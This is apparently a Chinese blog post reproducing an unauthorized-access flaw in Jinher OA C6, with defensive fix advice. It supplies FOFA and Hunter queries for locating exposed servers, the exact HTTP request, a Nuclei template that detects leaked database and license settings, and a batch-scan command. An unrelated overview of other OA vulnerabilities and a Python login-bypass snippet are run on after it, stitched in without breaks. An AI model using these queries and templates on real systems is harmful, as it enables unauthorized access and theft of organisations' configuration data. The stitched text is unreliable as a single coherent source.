【漏洞复现】金和OA 未授权访问

【产品介绍】

金和OA协同办公管理系统C6软件(简称金和OA),本着简单、适用、高效的原则,贴合企事业单位的实际需求,实行通用化、标准化、智能化、人性化的产品设计,充分体现企事业单位规范管理、提高办公效率的核心思想,为用户提供一整套标准的办公自动化解决方案,以帮助企事业单位迅速建立便捷规范的办公环境。

【漏洞介绍】

金和OA sap-b1config-aspx接口存在未授权,攻击者可通过此漏洞获取敏感信息。

【资产测绘Query】

Fofa语法:app=”金和网络-金和OA”
Hunter语法:app.name=”金和 OA”

【产品界面】

【漏洞复现】

GET /C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

【Nuclei-Poc】

id: jinher-oa-c6-jhsoft-sapb1config-unauth

info:
  name: jinher-oa-c6-jhsoft-sapb1config-unauth
  author: jinher-oa-c6-jhsoft-sapb1config-unauth
  severity: high

http:
  - raw:
      - |
        GET /C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"txtLicenseServer","txtDatabaseServer")

【验证】

.\nuclei -l 1.txt -t 4.yaml

【修复建议】

1、升级到安全版本
2、如非必要,禁止公网访问该系统。
3、设置白名单访问

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

### 复现OA系统已知安全漏洞 对于复现OA系统的已知安全漏洞,了解具体的操作流程以及预防措施至关重要。以下是针对不同类型的OA系统及其常见漏洞复现方法。 #### 通达OA v在线用户登录漏洞 在尝试复现通达OA v在线用户登录漏洞时,应先理解其工作原理。通常情况下,这种类型的漏洞涉及身份验证机制中的缺陷,使得攻击者能够绕过正常的认证过程[^1]。为了重现这一现象,可以从分析HTTP请求入手,特别是关注POST请求的数据包结构,寻找是否存在可被篡改的关键参数。一旦确认了可疑字段,则可通过修改这些值来进行测试。 #### 泛微OA E-Office jx2_config.ini敏感信息泄漏漏洞 当涉及到泛微OA E-Office jx2_config.ini文件的信息泄露问题时,主要在于配置文件未受到适当保护而导致的内容外泄。要模拟这种情况的发生,可以构建一个类似的环境并故意设置不当权限给目标文件夹下的`jx2_config.ini`文件[^2]。接着发起GET请求试图获取该路径下资源,观察返回的结果是否包含了不应公开的信息片段。 #### 金和OA FileDownLoad接口任意文件读取漏洞 面对金和OA中FileDownLoad接口存在的任意文件读取情况,重点在于识别URL模式或者API调用方式中存在的安全隐患。通过构造特殊的查询字符串作为输入传递至服务器端处理逻辑之前的部分,可能会触发异常行为进而暴露出底层存储介质上的私密资料[^3]。实验过程中应当谨慎操作以免造成实际损害,并确保拥有合法授权后再执行任何可能影响生产环境的动作。 #### 万户OA-ezOFFICE DocumentEdit_unite.jsp SQL注入漏洞 SQL注入类别的弱点往往存在于动态拼接SQL语句的过程中未能充分过滤用户提交内容所致。就万户OA-ezOFFICE而言,在DocumentEdit_unite.jsp页面可能存在这样的风险点。为此,需准备一系列典型的恶意payloads用于探测数据库交互层面上是否有松散之处可供利用;同时注意调整浏览器开发者工具里的Network选项卡以便实时监控响应状态码变化及错误提示消息等反馈信息[^4]。 #### 九思OA dl.jsp任意文件读取漏洞 最后提到的是九思OA dl.jsp组件所携带的另一个形式相近却有所区别的任意外部实体加载隐患。这里同样依赖于对下载链接格式的研究来定位潜在入口点。发送带有特殊字符组合构成的目标地址后,如果能成功拉取到预期之外的对象则说明确实存在相应级别的危险性[^5]。 以上就是几种典型OA应用软件各自面临的主要挑战之一——即它们各自的代表性漏洞特征概述与初步探索思路分享。值得注意的是,在开展上述活动前务必取得相关方许可并且仅限于受控条件下实施! ```python import requests def test_login_bypass(url, payload): response = requests.post(url, data=payload) return 'success' in response.text.lower() url = "http://example.com/login" payload = {'username': 'admin', 'password': ''} if test_login_bypass(url, payload): print('Potential login bypass vulnerability detected.') else: print('No obvious vulnerabilities found during this attempt.') ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值